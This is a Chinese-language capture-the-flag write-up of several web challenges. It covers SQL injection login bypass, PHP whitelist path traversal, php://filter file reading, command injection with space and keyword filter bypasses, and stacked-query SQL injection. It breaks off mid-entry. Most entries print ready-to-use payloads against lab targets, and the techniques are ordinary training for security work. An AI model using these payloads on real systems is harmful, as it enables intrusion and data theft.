1、[极客大挑战 2019]EasySQL
考点:万能密码
username=1&password=1
原理:利用or属性;构造闭合;password =“1” or “1”=“1”;服务器会认为password =“1” or “1”="1"恒为真;会输出所有信息
password=a' or 1=1 #
2、[极客大挑战 2019]Havefun
考点:php代码审计
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
get方式传递参数为dog即可
3、[HCTF 2018]WarmUp
考点:php代码审计
参考链接:https://blog.youkuaiyun.com/Myon5/article/details/134286537
<?php
highlight_file(__FILE__);
class emmm //定义emmm类
{
public static function checkFile(&$page)) //静态方法checkfile
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
#1、检查page是否是string;即字
符串类型
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
{
#2、检查传入的page是否在白名单中
return true;
}
$_page = mb_substr((#处理传递进来的参数
$page,
0,
mb_strpos($page . '?', '?')#mb_trpos函数找到page中第一个问号位置;然后
使用mb_substr函数将问号之前的部分作为$_page处理;返回的值是?在page中出现的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);;#将$_page进行url解码处理
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];#文件包含点
?>
思路:利用Include函数将flag文件包含出来
流程:假设传入为hint.php;首先查’hint.php’是否是一个字符串;检查是否在白名单中;通过;执行mb_substr函数;但是这个函数的以mb_strpos函数的结果作为输入(hint.php不包含?;首先连接?得到hint.php?;然后找’?'在字符串’hint.php?'中第一次出现的位置,从0开始算,返回8,即length=8;在执行mb_substr函数;即mb_substr(‘hint.php’,0,8);返回的值还是hint.php);然后将mb_substr的返回结果继续判断是否在白名单中;那么我们就可以构造恶意payload
file=hint.php?(恶意代码)
hint.php?经过php代码检查判断还是符合白名单条件;就可以在后面利用include函数读取指定文件;最终的exp
source.php?file=hint.php?/../../../../ffffllllaaaagggg
source.php?file=source.php?/../../../../ffffllllaaaagggg
4、ACTF2020 新生赛]Include
考点:文件包含
引入眼帘的就是经典的文件包含url(不回显示)
参考链接:https://www.wlhhlc.top/posts/14827/#%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-78-88-116-117
?file=php://filter/convert.base64-encode/resource=flag.php
5、[ACTF2020 新生赛]Exec
考点:rce
比较基础的一道题目;没有任何过滤;直接凭借命令执行就行了
127.0.0.1&&tac /flag
6、[GXYCTF2019]Ping Ping Ping
考点:rce
参考链接:https://blog.youkuaiyun.com/weixin_73904941/article/details/143275207
1、首先空格过滤了;使用< ${
IFS} $IFS$9 %09 代替
?ip=1;$IFS$9cat$IFS$9flag.php
2、发现过滤了flag;变量拼接绕过
a=g;cat$IFS$9fla$a.php
#方法1 变量拼接
?ip=1;a=g;cat$IFS$9fla$a.php
#方法2 反引号绕过
?ip=1;cat$IFS$9`ls`
#方法3 base64编码绕过
?ip=1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
7、[SUCTF 2019]EasySQL
考点:sql注入
(1)通过bp抓包分析发现对下面内容进行了过滤;那么就不能进行union联合注入;报错注入;盲注了
prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|fro
m|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|
(2)进行堆叠注入;通过;将多条SQL语句放在一起进行查询
#查询数据库名称
1;show databases;#猜测falg在CFI数据库下
#查询表名称
1;show tables;#发现了falg表
尝试用from查询flag表的内容;发现from被过滤了;继续测试发现有个利用点;输入非0数字会回显;其他字符没有回显;猜测后端代码使用了||或运算符号
#||或运算符号在SQL语句中的作用
select command1 || command2
情况一:若command1为非0数字,则结果为1。
情况二:若command1为0或字母,command2为非0数字,则结果为1。
情况三:command1和command2都不为非0数字,则结果为0。
本题目的后端代码
$sql = "select ".$post['query']."||flag from Flag";
(3)绕过方法
1、采用sql_mode中的PIPES_AS_CONCAT 函数;此函数会将||或运算符号转化为链接字符;就是先查询||前面的;在查询后面的
1;sql_mode=PIPES_AS_CONCAT;select 1
2、采用非预期漏洞获取flag
select * , 1 || flag from Flag
8、[极客大挑战 2019]LoveSQL
考点:sql注入
首先可以直接利用salmap跑出;但是为了理解原理还是采用手工注入
1、测试注入点 1’ or 1=1#